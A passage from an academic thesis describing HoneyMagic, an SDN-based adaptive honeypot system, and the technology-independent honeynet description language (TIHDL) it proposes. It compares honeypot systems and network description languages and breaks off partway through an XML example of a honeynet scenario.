As the proposed honeypot anatomy, a honeypot system typically includes two basic elements: decoy and security program. A decoy is a type of information system resource used to attract the illicit and unauthorized accesses. The decoy could exist in any interaction level, i.e. low, medium and high. A security program is mainly applied to monitor the decoy and capture the suspicious data. According to the different types of decoy, the security program may also take the responsibilities of data control, data analysis, etc. Besides, honeypots often need to achieve the goal of stealthy data capture and control.

After reviewing a number of technologies, we are aware that SDN has a number of honeypot relative features. A traditional SDN architecture has three planes: application, control and data plane. The application plane is separated from the control plane by the SDN Northbound Interfaces (NBI), even though they are not so decoupled like the control plane and data plane, because the applications are often developed upon the specific SDN controller softwares. In the data plane, the network elements (NE), e.g. switches and routers, can be linked by arbitrary topology and the participants (e.g. PC, laptop, etc.) can be integrated into the network by linking any NE. All the conversations over the data plane are controlled by the control plane through the SDN Control-Data-Plane Interfaces (CDPI). Hence, we can consider using the control application plane and the data plan of SDN architecture to be in charge of the two elements of a honeypot system respectively,

Therefore, upon current technology background, SDN is a very suitable sustaining technology to facilitate honeypot systems. Whilst, the usage of honeypot can unleash the power of the SDN

controller's programmability for enforcing the vitally important function -data control- in the context of honeypot systems. A novel SDN based honeypot system architecture is shown in Figure 16.

Figure 16. An SDN based honeypot system architecture

The infrastructure plane is in charge of orchestrating the heterogeneous decoys that can have arbitrary topology and sequential-deploying relationship. The control plane can use a specific SDN control software to provide the network services for supervising and managing the data communication over the data plane. The application plane can include various security programs that can be developed by using the SDN controller's API. Consequently, this architecture can provide multiple advantages to honeypot system, such as decoupled architecture, ease of management, efficient control and extendable integration.

4.3. An Overview of the Flexible Honeypot System

In this section, we describe the design of the flexible honeypot system (HoneyMagic) proposed. Figure 17 presents an overview of the adaptive and flexible honeypot system.

Figure 17. An overview of the flexible honeypot system

HoneyMagic is comprised of several components to provide distinct functionalities. The major components are the network data controller application, the decoy (honeypot) deployer and the system data analyzer. The network data controller application facilitates the control plane of SDN. It includes several traffic classification approach and traffic redirection mechanism for making the decision of traffic redirection to the appropriate honeypot. The decoy deployer is in charge of configuring and managing heterogeneous honeypot for data capture. It should be flexible enough to deploy different single dedicated decoys in terms of the interaction levels, and also should be able to handle a complete honeynet including various decoys. The system data analyzer is responsible for investigating the system activity in the HIHs. The OpenFlow based switch is also the key component used to facilitate the flow management functionality. In addition, there are two auxiliary components, i.e. NIDS and HIDS, used to detect network and host malicious behavior.

As stated, the traditional traffic redirection solutions experience the identical-fingerprint problem, which means that the server receiving the redirected traffic has a different fingerprint, i.e. MAC and IP addresses, from the original server that initially received the connection. In common network service environments that could not be a problem. However, in a honeynet scenario, the

different fingerprint will lead to the attacker's suspicion that he is being redirected into a honeynet environment.

Consequently, in our system, for addressing the identical-fingerprint problem, we use one set of honeypots with the same IPv4 and MAC addresses assigned, and separate as well as identify them by the distinct out ports of the OpenFlow based switch. Furthermore, the system should be flexible enough to manage these honeypots dynamically. It should allow the researcher to define the number of the honeypots in stand-by, and then spin up them dynamically on demand for service response.

The system is set up to receive traffic destined to honeypots. The incoming traffic are first classified, the uninteresting traffic data will be filtered, and the remainder traffic treated as interesting data will be redirected through the out ports of switch into appropriate honeypots in terms of the interesting level. Any malicious behavior in HIHs will be captured, and the outbound traffic from the HIHs will be controlled in order to prevent the non-honeypot systems from being attacked.

4.4. Component Description

4.4.1. Network data Controller

The network data controller consists of a Decision Engine (DE), and a Redirection Engine (RE) in charge of orchestrating traffic filtering and redirection between honeypots. The DE is aimed to make decision of interesting traffic choice, and the RE is used to transparently redirect the interesting traffic to corresponding honeypots.

Figure 18. Illustration of the original traffic redirection mechanism

The RE needs to redirect interesting traffic from LIHs to the corresponding MIHs or HIIHs. In order to implement such functionality, like most traditional TCP proxy, the original Honeybrid gateway applies the TCP relay mechanism to meet the requirements such as Figure 18 shows.

The main drawback of original Honeybrid gateway is that it is not able to distinguish the automated attacks from the human manual attacks. More accurately speaking, it neglects the attacks generated by advanced intruders. In the Honeybrid design, a pair of LIH and HIIH has different IP addresses in a honeynet deployment, and the Honeybrid gateway can transparently redirect the traffic from the LIH to the corresponding HIIH by connection handoff. It is useful to catch the automated malware but if the attack is from an intelligent adversary, s/he can easily detect the traffic redirection by simply checking the IP address of the compromised system. If the destination IP address is different from his original target IP address, the adversary can realize that he is immersed in a honeypot. Thus, we will address this problem by proposing a new SDN based transparent traffic redirection mechanism. In order to guarantee such functionality, we have to address the following two questions: how to perform connection handoff and how to keep the identical fingerprint. CHAPTER 7 will describe the novel transparent traffic redirection mechanism in detail.

On the other hand, the RE relies on the redirection indication of the DE, while the DE includes a couple of traffic redirection rules that are used to classify the traffic and make redirection decision. The answer to the question about which traffic is worth being investigated is subjective and depends on the type of network scenario the security researchers want to conduct. Our objective is to allow security researchers to customize their own filtering mechanisms through combining different filtering rules. Thus, we proposed a traffic redirection triggering strategy to approach this target, which will be described in CHAPTER 7 as well.

4.4.2. Decoy Deployer

Deploying and configuring a honeypot network manually is a tedious task, even more complex if the honeynet is required to be reconfigured timely. The decoy deployer is designed to cope with the tasks of configuring, deploying and managing the honeynets, as well as allowing its dynamic reconfiguration.

With the development of honeypot projects and research, a lot of simple individual honeypots has been proposed. As stated in CHAPTER 3, they can be roughly classified in to three categories according to the interaction level: LIH, MIH and HIIH. Each type of honeypot in terms of the interaction level has its own advantages and disadvantages in fidelity, scalability and security. Hence, in order to foster strengths and circumvent weakness, the honeypot deployer is proposed as a

heterogeneous honeypot system enabling tool which can configure, deploy and manage versatile homogeneous honeypots in terms of different interaction level.

Furthermore, the honeypot deployer should facilitate the dynamic management of the honeypots. It should allow the researchers to define the honeypots in advance, and set the number of both running and stand-by honeypots. Then the deployer should have the capability to dynamically spin up the stand-by honeypots for providing service or spin down the running honeypots into stand-by for resource efficiency and system performance. Due to the requirement of dynamic reconfiguration, the underlying honeynet deployment tools conducted by the honeypot deployer should have the reconfiguration capability. In CHAPTER 6, a discussion on the selection of dedicated virtual honeypots creation and management tools will be undertaken, in order to help the researchers to choose the suitable tools to deploy LIHs, MIHs and HIHs respectively.

Due to the fact that each deployment tool has its own specific network scenario description language, it would be too complex to describe one hybrid honeynet scenario using the multiple specific description languages of each deployment tool used. In order to hide the complexity of underlying deployment tools and facilitate the uniform configuration of honeynets, a technical independent honeynet description language (TIHDL) is proposed. The TIHDL will be described in detail in Chapter 5. Additionally, note that the configuration described by the generic TIHDL has to be transformed into the specific configuration of each deployment tool in order to deploy the honeypots by the corresponding tool. Thus, it is necessary to propose a transformation mechanism from the generation TIHDL to some specific description languages of the deployment tools. Besides, some honeypot deployer APIs are needed to allow the network data controller to make requests for the creation and management of hybrid honeynets using the general configuration language. The entire honeypot deployer subsystem together with the transformation mechanism proposed will be described in detail in CHAPTER 6 as well.

4.4.3. System Data Analyzer

The system data analyzer is aimed to perform the system activity capture and analysis in a stealthy way. As stated, the security level must be increasing with the interaction level. Different risks should use different levels of security programs to measure, such as LIHs are good at monitoring network probing and reconnaissance, MIHs are suitable to detect network attacks and catch the malicious payload, and HIHs, however, do not only capture and control the network activity but also aimed to capture the malicious system activity. Hence, the system data analyzer is used to investigate the malicious system activity in HIHs.

There are several tools available for system activity capture at present. Sebek/Qebek is the monitoring tool used to track the system activity. They should modify the system kernel to achieve their functionality. The main drawback of this type of kernel module is that it must be installed inside the virtual honeypot, which is called as “in-the-box” monitoring approach. However, this monitoring approach can be easily detected by the adversary and the Sebek/Qebek is not maintained for the latest kernel of the Linux/Windows OS.

Another monitor method using the idea called “out-of-the-box” is proposed in order to prevent the monitor tool from being detected. At present, there are many virtual machine introspection solutions have been proposed to approach this task, such as Livewire, VMScope, Lares, Virtuoso, VMWatcher, Timescope, etc. However, they are either not open-source software or not maintained any longer. Argos¹, Nitro², DRAKVUF³, and Cuckoo Sandbox⁴ are open-source projects that are still maintained. These open source virtual machine introspection solutions are listed in Table 4 in order to compare their supported hypervisors and operating systems.

Table 4. Virtual machine introspection solutions

Solutions	Supported Hypervisor	Supported Operating Systems
Argos	QEMU	Windows
Nitro	QEMU, KVM	Windows
DRAKVUF	Xen	Windows
Cuckoo Sandbox	KVM	Windows, Linux, OS X, Android

As it can be seen from the comparison, the Cuckoo can support much more various operating systems, which can meet our requirement of deploying different HIHs in terms of flexible operating system. Furthermore, Cuckoo sandbox implements the virtual machine introspection based on KVM hypervisor, thus we can transplant it into our KVM-based virtual honeynet seamlessly. Thus, we employ the tool Cuckoo to monitor the high-interaction honeypots from out-of-the-box. In addition, in the system data analyzer, we also consider using host intrusion detection system (HIDS), as well as some other tools, such as Volatility⁵, Rekall⁶, to perform memory forensic analysis.

¹ <http://www.few.vu.nl/argos/>

² <http://nitro.pfoh.net/index.html>

³ <http://drakvuf.com/>

⁴ <https://www.cuckoosandbox.org/>

⁵ <https://www.volatilityfoundation.org/>

⁶ <http://www.rekall-forensic.com/>

4.5. Comparing HoneyMagic to other honeypot systems

In Chapter 2, we have described a number of honeypot systems. Table 5 compares some of those honeypot systems with our HoneyMagic, following the comparison criteria provided by the Honeynet Project and one new feature named “adaptability” defined by us.

Table 5. Comparison of honeypot systems

Systems Features	Physical Gen III Honeynet	UML based Gen III Honeynet	Potemkin	VMI-Honymon	HoneyMagic
Portable	No	Yes	Yes	Yes	Yes
Setup	Involved	Plug and catch	Plug and catch	Plug and catch	Plug and catch
Cost	High	Low	High	Low	Low
Flexibility	Very	Limited	Moderated	Moderated	Moderated
Security	Secure	Software dependent	Software dependent	Software dependent	Software dependent
Detectability	Reasonable effort	Reasonable effort	Hard to detect	Hard to detect	Hard to detect
Adaptability	Static	Static	Dynamic	Static	Dynamic

The honeypot systems chosen for the comparison are: the traditional Gen III Honeynet, which is the physical honeynet; the UML based Gen III, which is the typical self-contained virtual honeynet; the Potemkin, which is a hybrid virtual honeypot system using VMM; and the VMI-Honymon, which is another hybrid virtual honeypot system based on Honeybrid gateway. As stated, these chosen honeypot systems are very typical and representative. The criteria used for the comparison is described below.

Portable is the feature that indicates if the honeynet can be moved around. The Gen III Honeynet is not portable since each component resides on its own physical machine. The self-contained virtual honeynet can be configured and deployed in a single physical machine, thus the UML based virtual honeynet is portable. Although the remaining virtual honeypot systems could be deployed in multiple physical systems, they are portable as well.

Setup is a measurement of the easiness of setting up a new honeynet at a new location. As the physical honeynet, the Gen III Honeynets have to set up each physical machine individually. However,

the others are virtual honeypot systems that are “plug and catch”. Because they can quickly deploy a whole virtual honeynet without driver conflicts or other hardware related configuration problems.

Cost is a measure of hardware cost. Since the Gen III Honeynets require physical machine to run every component, the hardware cost is high. Most virtual honeypots can be setup on a single physical machine therefore hardware cost is low. However, Potemkin used frontends based on distributed devices and also deployed backends in multiple physical machines, so its hardware cost is high.

Flexibility is a measure of what types of honeynets can be configured. The physical machine can support any kind of operating system with the right hardware. UML is only able to support Linux based operating systems, but the Xen based Potemkin and VMI-Honeymon as well as KVM based Honeymagic can support operating systems that run on the x86 processor architecture.

Security is a measure of how susceptible the honeynet is to be compromised and becomes a threat to systems on the outside. In the Gen III Honeynets, the security depends on the Honeywall. Since the Honeywall is tightly configured and access is limited to network based methods, the security of the Gen III Honeynets is high. However, the security of virtual honeynet depends on the virtualization software. Protection against host-based attacks is provided by software running on the host.

Detectability is a measure that indicates if the honeynet can be detected by the attacker. Kernel module based monitor is easy to be detected by the blackhats currently, thus the Gen III Honeynets and UML based virtual honeynets are detectable. The other virtual honeypot systems can use the “out-of-the-box” approach to monitor the system call, thus they are hard to be detected.

Adaptability is a measure of what kinds of honeynets can be configured dynamically. In the comparison, only the Potemkin and our virtual honeynet system can provide the capability of dynamic configuration and deployment, but the previous work didn’t provide this kind of capability.

Therefore, comparing to other previous honeypot systems, HoneyMagic is much more advanced in terms of these criteria. It is much more flexible and adaptable but still keeps low hardware cost. Potemkin also has many advantages over other options. However, due to its specific design, its requirements in terms of resources such as distributed devices and GRE Tunnels are higher.

4.6. Conclusion

Honeypots can be used to capture the malicious behavior in order to investigate the network threats. However, the present complex network environments, which are always under multiple network threats, importantly complicate the task of attack investigation, making the traditional

honeypot systems infeasible. In this chapter, therefore, we proposed a flexible and adaptive honeypot system (HoneyMagic) that can deploy the dedicated honeypots and set the corresponding traffic filtering mechanism according to the specific requirements in order to capture the interesting traffic for further investigation. The novel honeypot system can dynamically configure, deploy and manage the honeynets and provides a customizable traffic filtering mechanism in terms of the combination of multiple filtering modules as well. Having compared with other previous honeypot systems that are mentioned in subsection 4.5, HoneyMagic is much more flexible and adaptable. Hence, the security researchers can flexibly apply this honeypot system to conduct different types of security experiments according to the network environment as well as the test requirement to capture the required data for security study. We have presented an overview of our honeypot system architecture, and some components will be described in detail in the next chapters.

CHAPTER 5. TECHNOLOGY INDEPENDENT HONEYNET DESCRIPTION LANGUAGE

Several languages have been proposed for the task of describing computer networks, either to help on managing networks, simulate or deploy testbeds for testing purposes. However, there is no one specifically designed to describe the honeynets, covering the specific characteristics in terms of applications and tools included in the honeypot systems that make the honeynet. In this chapter, the requirements of honeynet description are studied and a survey of existing description languages is presented, concluding that a CIM (Common Information Model) match the basic requirements. Thus, a CIM like technology independent honeynet description language (TIHDL) is proposed. The language is defined being independent of the platform where the honeynet will be deployed later, and it can be translated, into the description languages of honeynet deployment platforms and tools. This approach gives flexibility to allow the use of a combination of heterogeneous deployment platforms.

5.1. Introduction

As we have mentioned, configuration is a big technical challenge for most security technologies as it is the case for honeypots. Especially, for the honeypot systems, it is very important to be able to reconfigure the honeynet according to the requirements. For example, if a honeynet is deployed to emulate or clone an objective organization network [74], when the target network changes its configuration, then the honeynet has to be reconfigured as well. Another representative case is the dynamic creation of virtual honeypots to capture interesting traffic as it is done in Potemkin [61].

However, the manual creation and configuration of honeynets is a complex task. Hence, it is necessary to use an automated honeynet tool to create, configure, and deploy the dynamic honeynets. In this type of automated honeynet tool we need a scenario description language to describe the topology, configuration, and other information of a network. Although there exist several general network description languages proposed, none of them has been adapted or widely accepted to describe network of honeypots.

Our objective is to propose a generic honeynet description language that can be used by automated deployment tools to create honeypot scenarios. In this thesis, we focus on using virtualization technologies to deploy honeynets, however, as the language is designed to be generic, nothing prevents it from being used to deploy honeypots over physical systems. As stated before, virtualization technologies bring a lot of advantages when used to deploy honeynets, as they can be implemented by using multiple virtual machines per physical machine host. Furthermore, virtual networks are a built-in feature of the Linux kernel. Linux supports virtualization including either machine virtualization or network virtualization. The libvirt is the virtualization library implemented in Linux, which is used as the programming interface for the application development. Also, multiple virtual network tools based on Linux have been developed, such as mininet and VNX. Creating a novel generic honeynet description language allows defining honeynet scenarios without dealing with the underlying complexity of the different platforms where they are going to be deployed, providing a uniform and convenient way to configure the honeynet scenario. However, in order to finally deploy the honeynet over specific virtualized platforms, the generic high level language has to be translated into the low level languages that deal with the underlying technical complexity of those virtualized platforms.

In this chapter, a Common Information Model like technology independent honeynet description language (TIHDL) is proposed for describing the scenario of honeynet. This language is used in a versatile virtual honeynet management tool, which can include multiple heterogeneous platforms for deploying honeynets. Based on the TIHDL core, a honeynet request, configuration and management language is made.

5.2. Requirement Analysis

5.2.1. *A typical honeynet*

In this section, we describe both the adversary's and system administrator's behaviors over a typical honeynet based on the Gen III Honeynet (see Figure 19). There is an internal subnet that is protected by a firewall and a DMZ subnet where the honeynet is deployed. In front of the honeynet there is a containment gateway called Honeywall.

Figure 19. A typical honeynet

On the one hand, from the adversaries' perspective, several steps should be done to compromise a computer system. First, the fingerprinting of the system is exposed by some scanning tools, e.g. Nmap⁷ and xprobe2⁸. In this step, an intruder can collect the information of the name and version of the operating system, the IP address, the open TCP/UDP ports, and the service provided. Second, the intruder can search the available vulnerabilities of the target system according to the information of the first step. For this second step, Nessus⁹ tool is always a good choice. Finally, the intruder can use some tools like Metasploit¹⁰ to exploit the target system.

On the other hand, from the system administrator's viewpoint, some protective measures must be put into effect. There is a containment gateway called Honeywall which is used to monitor the honeypots, detect the intrusion traffic, observe and record the adversaries' behavior when they compromise the honeypots. At the same time, it also can restrict the outgoing traffic in order to have the adversary confined, avoiding him to compromise other system from inside the compromised honeypot. In summary, Honeywall is a gateway device that separates the honeypots from the rest of the world, as any traffic going to or from the honeypots must go through the Honeywall. It is traditionally a layer-two bridging/switching device, meaning the device should be invisible to anyone interacting with the honeypots.

5.2.2. The requirements of honeynet description

From both the adversary's and administrator's point of view, the characteristics that must be considered for honeynet description are figured out.

⁷ <http://nmap.org/>

⁸ <http://www.aldeid.com/wiki/Xprobe2>

⁹ <http://www.tenable.com/products/nessus>

¹⁰ <http://www.metasploit.com/>

On the one hand, we have to describe the honeynet topology information, since a honeynet is a set of systems organized following a topology. As stated, in the reconnaissance phase, attackers often use multiple fingerprinting tools to scan the targets of opportunity, or even using some DNS information to aim the target of choice. Thus, the layer-three network topology is the one important information for attackers. Layer-two topology is not generally interesting for attackers and it is also not visible for attackers since there are no tools like ping and traceroute that can be used to detect the layer-two topology. Therefore, the honeynet description language should focus on describing the layer-three routing topology rather than the layer-two interface linking topology. For instance, in the simple topologies presented in Figure 20, the attackers would normally be interested only in knowing that all the systems are connected to the same IP subnet, rather than knowing that the IP subnet is supported by the interconnection of SW1 and SW2 nodes. Nevertheless, some layer-two information, which is visible to the attackers, should be included in the description language, but other layer-two characteristics that are not visible from the hosts do not need to be described. For example, MAC addresses can be easily observed in hosts by having a look at network interface information or ARP tables, so MAC addresses has to be included in the description language.

Figure 20. Examples of layer-two and layer-three topologies

On the other hand, our language also needs to describe the system information, hence, the main characteristics that have to be used for honeypot description are listed (see Table 6). Note that the following table applies to each honeypot individually not to the whole honeynet. We classify them from the angles of the network TCP/IP stacks, the operating system, and the physical device. In each category, we list some probable characteristics that could be used to describe a honeypot. Then, we will discuss every characteristic in terms of each category from bottom to top in the table.

Table 6. The characteristics for honeypot description

Items	Characteristics
Application Layer	Application Services
Transport Layer	TCP/UDP ports
Network Layer	IP addresses related parameters
Data Link Layer	MAC Addresses
Physical Layer	Interface characteristics visible at O.S.
Operating System	Name and Version of Operating System
	Name and Version of Software Installed
Device	Device Type

In the device category, there is only one characteristic, which is the device type, since in a honeynet where different devices can be deployed, such as a router, a containment gateway or a honeypot. The device type can help to identify different types of devices.

In the operating system category, there are two pairs of characteristics. The first pair includes the name and version of operating system, and the second pair includes the name and version of installed software. Although system can be updated and patched in time, the 0-day exploits can compromise the system before the system or software vulnerabilities get patched. Hence, it is necessary to be able to specify the exact versions to be included in the honeynet deployed, in order to allow choosing the exact versions and, as a consequence, the exact vulnerabilities that wants to be exposed and to provide the correct fingerprinting information to the attacker.

In the network stacks category, there are five subclasses in terms of the TCP/IP 5-layer model. The first subclass relates to the physical layer and should include all the network interface characteristics, such as network interface identifier and transmission rate, which are visible at operating system, and could be used by an adversary in a compromised system to determine whether it is in a honeypot environment.

The second subclass is related to data link layer where we consider the MAC addresses as the main parameter. The MAC addresses are mostly used to identify every network interface on the devices and it is also visible at operating system. Even though our language focuses on layer-three topology, we have to include MAC addresses in order to identify every physical network interface.

The third subclass is related to network layer characteristics and should include all IP address related parameters of each system, such as the IP address, route information, network mask, etc. All the IP address related parameters are basic for the TCP/IP services and applications running inside each system to work, as well as allowing the proper deployment of the honeynet in the network context where it resides for making it accessible to the attackers.

The fourth and fifth subclasses are related to the transport and application layers characteristics respectively. These two subclasses have a close relationship since a service in the application layer always binds to a port in the transport layer. There are several services that can be deployed on a server, such as Web, FTP, DNS, Mail, VoIP, etc. Every service is associated to one or more ports. Hence, if the ports are not filtered by the firewall, the adversary could communicate with the service behind that open ports. On the other hand, the service vulnerabilities are often produced by the misconfiguration or even the vulnerabilities of specific versions of the underlying server software. Thus, as stated in the operating system category, the name and version of the installed server software have to be described to allow selecting the specific vulnerabilities the adversary will exploit.

All in all, these characteristics are the minimum basic requirements that a honeynet description language has to include. However, there are some other specific requirement should be taken into account, like the interaction level of honeypot, the specification on changes, etc.

5.3. Survey on network and system description language

This section summarizes the state of the art around the related description language which consists of both the network and system information.

5.3.1. *Related languages*

One of the first standard languages used for specifying networks was SMI (Structure of Management Information), a part of SNMP (Simple Network Management Protocol) [135]. SNMP is an internet-standard protocol for managing IP network devices like routers, switches, printers, workstations, servers and more. SNMP itself does not specify which information the devices should provide. That is defined in the MIB (Management Information Base), which specifies the variables used by SNMP to control and retrieve the diagnostic, performance and configuration information of network devices. However, SNMP focuses on the device itself and contains almost no information about the rest of the network. Subsequently, another data modeling language, YANG [136], was proposed in the context of a new network management protocol, NETCONF [137], which fixes some of the SNMP/SMI shortcomings, like the lack of support for functionalities like back-and-restore of element configuration or the lack of transaction concept when managing device configuration.

Another interesting proposal is the Network Description Language (NDL) [138], which builds on Semantic Web techniques using RDF to create a distributed Topology Knowledge Base (TKB). The Resource Description Framework (RDF) is a method for representing information about resources on

the Web. It provides a common framework for expressing metadata so that it can be exchanged between applications without loss of meaning. NDL has three classes and six properties, providing a simple way to create description of physical networks.

A more complete network description language and the successor to NDL is Network Markup Language (NML) [139]. NML is a standard network description language designed to allow exchanging topology descriptions among control applications. It is a complete language that includes aspects needed for network description. The Network Markup Language currently has two normative syntaxes: an XML syntax, defined using an XML Schema; and an OWL (Web Ontology Language) RDF/XML syntax, defined in an OWL schema. In NML, a given object may have multiple attributes and relations. These attributes and relations may be described in different places in a syntax. It is up to the parser to combine all attributes and relations. For a language to be used as a honeynet description language, it is required to have a mechanism to easily check the integrity and the authenticity of the description. However, NML currently does not have a mechanism to check if a given description of an object is complete. It does not distinguish between a full description of an object or merely a pointer to an object. Parsers should be aware that the NML descriptions do not provide any guarantee regarding the integrity nor the authenticity of the description. However, the NML Parsers do not provide this capability and they are advised to use external mechanism to avoid that an erroneous description of an object in one (possibly malicious) topology description pollutes a correct description of the same object in another topology description.

Another contribution is Infrastructure and Network Description Language (INDL) ontology [140]. The aim of INDL is to provide technology independent descriptions of computing infrastructures, including the physical resources as well as their network infrastructure. INDL also provides the necessary vocabulary to describe virtualization of resources and the services offered by these resources. The authors reused the NML model to provide the network model to combine the earlier stand-alone version of INDL [141]. Thus, INDL can be used as a stand-alone model, and it also can be easily applied in combination with NML by importing the NML ontology into the INDL definition. An important difference with previous models is that NML is a completely unidirectional model. A single network port on a physical machine is modeled by two unidirectional NML Ports. Thus, a flexible model, INDL, is created to describe uni-directional and bi-directional network concepts.

Besides, NDML+ (Network Design Markup Language) [142] is a mostly suitable network description language for the CANDY Framework [143]. It provides a schema not only for constructing networks, but also for testing networks. However, like NDL, NML and INDL, it also focuses on the

configuration of computing infrastructure. In other words, these four languages have advantages for the descriptions of physical resources and their network infrastructure.

The Virtual private eXecution infrastructure Description Language (VXDL) [144] is a language that allows the description of a Virtual Private eXecution Infrastructure (ViPXi) or a resource graph. VXDL brings two original aspects to the infrastructure as a service paradigm (IaaS), both related to the networking aspects: (i) the joined specification of network elements and computing elements and (ii) the link-organization concept, which permits a simple and abstract description of complex structures. The VXDL mainly aims at enabling the description of resources and networks that are virtual (dematerialized), but are also, to some extent, adaptable to physical ones. VXDL uses XML syntax to describe (requests for) infrastructures in varying levels of detail. Such a request consists of four parts: a general description, a description of non-network resources, a network topology, and the time interval for this reservation.

The virtual honeypot framework Honeyd uses the BNF style template language, which allows describing arbitrary network routing topologies, expressing the names and versions of operating systems based on the database of fingerprinting tool, and specifying the open TCP/UDP ports. This language also focuses on virtual resources, specially, for low-interaction honeypot.

The Common Information Model (CIM) [145] is developed by the Distributed Management Task Force (DMTF). It is an object-oriented information model described using the Unified Modeling Language. The model can capture information of computer systems, operating systems, networks and other related diagnostic information. CIM is a very broad and complex model, which is organized in core schema, common schema and extension schema. DMTF has defined a mapping from UML model of CIM to XML syntax, which is mainly used in Web-Based Enterprise Management (WBEM). WBEM is mainly used in enterprise-oriented computing equipment, and some operating systems such as Windows, Linux and Solaris.

The SFA (Slice-based Facility Architecture) format is developed for PlanetLab [146] within the GENI project [147], to provide infrastructure and request descriptions. The first version of SFA format was defined in RSpec (Resource SPECification) [148]. Subsequently, this format was evolved into GENI v3 Rspec [149], which has been chosen to be the standard interchange format for all GENI platforms. The GENI v3 RSpecs format is a simple XML based format aimed at virtual environments. In GENI, there are three types of Rspec, each used to describe resources when a client communicates with an AM (Aggregate Manager). Request RSpec is sent by a user to an AM to describe the resources that he wants to reserve. Advertisement RSpec is used to return from an AM to describe the resources that the AM has. Manifest RSpec is the document returned by an AM that describes the resources that

a user has reserved at an AM. The format works well with PlanetLab but it is difficult to apply on other networks or computing infrastructure.

GLUE 2.0 specification [150] is an information model for Grid entities described using the natural language and Unified Modeling Language (UML) Class Diagrams. As a conceptual model, it is designed to be independent from the concrete data models adopted for its implementation. Rendering to concrete data models such XML Schema, LDAP Schema and SQL are provided in a separate document. Concentrate on end points, but also user, owner plus integrates location, security and management aspects.

Smartfrog [151] is a powerful and flexible Java-based software framework for configuring, deploying and managing distributed software systems. It has multiple software components across a network of computing resources. Smartfrog proposes a simple text-based name-value language for scenario dynamic configuration, which enables to automatically install, start and shut down of the systems. Although the Smartfrog language is not a general language, the framework based on it can facilitate dynamic honeynet deployment.

Even though, there are some other description languages, which can be used to describe either networks or systems. For example, ns-3¹¹, a network simulator, provides a complete language for simulating network, or SysML¹² (System Modeling Language) offers a flexible and expressive language for system engineering. However, we do not consider them as candidates for being a description language in our honeynet context because they cannot be used to describe at the same time the system and network information.

5.3.2. *Language comparison*

Thus, for honeynet description, it is necessary to select a language able to describe both the network and the systems. Now that the requirement items for honeynet description are proposed, we can use them to study and compare the existing network description languages. The results of the comparison of the existing network description languages are showed in Table 7.

¹¹ <http://www.nsnam.org/>

¹² <http://www.omg.sysml.org/>

Table 7. Comparison of different languages by the honeynet description requirements

Languages Requirements	YANG	NDL / NML / INDL	NDML+	VXDL	Honeyd template language	CIM	Rspec of SFA	GLUE 2.0
Device Type	+	+	+	+	O	+	+	+
MAC address	-	O	-	O	+	+	O	O
Network interface identifier	+	+	+	+	+	+	+	+
IP address	+	O	-	O	+	+	+	+
IP routing topology	O	-	-	-	+	+	O	+
Transport layer port	+	-	-	-	+	+	-	-
Application	O	-	O	+	-	+	O	+
Service	O	-	O	O	O	+	+	+
Name and version of Software installed	O	-	-	+	-	+	O	+
Name and version of operating system	O	-	+	+	+	+	+	+
Legend: “+” means “available”; “O” indicates “available with limitation”; “-” represents “not available”								

From the comparison of these existing languages, it is clear that CIM is the best choice for honeynet description. Although CIM can meet the basic requirements for honeynet description, it still lacks some needed information like the level of interaction of honeypots. Furthermore, the language should provide support for the reconfiguration of honeynet scenarios, but CIM does not include the functionality needed to deal with the specification of honeynet scenario changes. Thus, it cannot be adopted directly as a honeynet scenario description language for our system, unless some additional characteristics are defined. Thus, our strategy is to propose a CIM like technology independent honeynet description language (TIHDL) whose data model is extended from the data model of CIM by adding some specific characteristics for honeynet configuration. Besides of using the generic data model, we also need a compact and meaningful language schema and a practical description style, which will be described in the next subsection.

5.4. TIHDL

We have concluded to propose a novel technology independent honeynet description language combining the CIM generic data model, a compact and meaningful language schema, and a practical description style. Our language proposal, TIHDL, is inspired on three different languages: CIM, Honeyd template language and VNX configuration language (see Figure 21). The reasons that lead us to combine ideas coming from these three languages are presented below.

Figure 21. Inspired from three languages

Firstly, CIM is technology independent and can provide descriptions for almost every aspect of computer networks. Although the data model of CIM is very complete in general, its complex syntax makes it too difficult to be used in honeynet scenario management tools. Secondly, Honeyd template language proposed a practical style to describe the services and operating systems emulated by honeyd in honeypots in a generic way. However, the BNF syntax used in Honeyd template language limits its capacity to be automatically transformed to other deployment tools specification languages, which is a requirement for our general honeynet description. Thirdly, VNX provides a virtual computer network configuration language. Its scenario configuration language is XML syntax based, which is suitable for transformation. Furthermore, although the VNX based configuration needs to describe the specific details about the scenario, the XML schema of VNX is compact and meaningful and it also provides a schema for scenario reconfiguration, which meets our requirement.

Therefore, TIHDL inherits the CIM data model but emulates the schema of VNX configuration language, as well as following the practical description style from Honeyd. As such, it can be used to describe the honeynet scenario and automatically configure the virtual honeynets.

5.4.1. TIHDL data model

Starting from the CIM data model, we have created the core of the TIHDL data model by using a subset of the classes and defining some new subclasses inherited from the essential classes. Figure 22 depicts the core of the TIHDL data model.

Figure 22. The core of TIHDL data model demonstrated by UML diagram, which includes 12 classes and 11 associations.

Most of the classes and associations of the related CIM models have been reused. Some classes have been directly adopted without modifications, such as the class ComputerSystem, OperatingSystem, Software, Service, and ProtocolService. Some other classes inherit from the corresponding CIM classes, e.g. the class NetworkInterface inherits from the CIM class NetworkPort, the class Net inherits from the CIM class ConnectivityCollection, and the class Honeynet inherits from the CIM class Network. Finally, the classes ContainmentGateway, Router and Honeypot are newly proposed by TIHDL and inherit from the CIM class ComputerSystem.

5.4.2. TIHDL schema

Based on the core of TIHDL, a honeynet request, configuration and management language schema using XML syntax has been proposed. The XML schema of CIM is not adopted for several reasons. First, the XML schema of CIM is too complex and difficult to be used by users who are not familiar with CIM, as it obliges, for example, to specify every association. Second, many elements of XML schema of CIM are not needed for honeynet description, and it lacks some required elements, e.g. the level of interaction. Third, the CIM XML schema would have to be extended to add some more attributes to be able to specify the creation and reconfiguration honeynet requests.

The XML schema proposed for TIHDL is presented in Appendix A. An example of a honeynet scenario specified using that schema is depicted in Table 8:

Table 8. An example of honeynet description

```
<honeynet>
  <name>test_dit</name>

  <net id= "1"><name>net0</name></net>
  <net id= "2"><name>net1</name></net>
  <net id= "3"><name>net2</name></net>

  <router id= "1">
    <name>r1</name>
    <if id= "1" net= "net0" >
      <name>eth0</name> <ipv4>192.168.1.10/24</ipv4>
    </if>
    <if id= "2" net= "net1" >
      <name>eth1</name> <ipv4>10.1.0.1/24</ipv4>
    </if>
    <if id= "3" net= "net2" >
      <name>eth2</name> <ipv4>10.2.0.1/24</ipv4>
    </if>
    <route id= "1">
      <dst>default</dst> <gw>192.168.1.1</gw>
    </route>
  </router>

  <honeypot id= "1">
    <name>pc1</name>
    <interaction_level>high</interaction_level>
    <if id= "1" net= "net1">
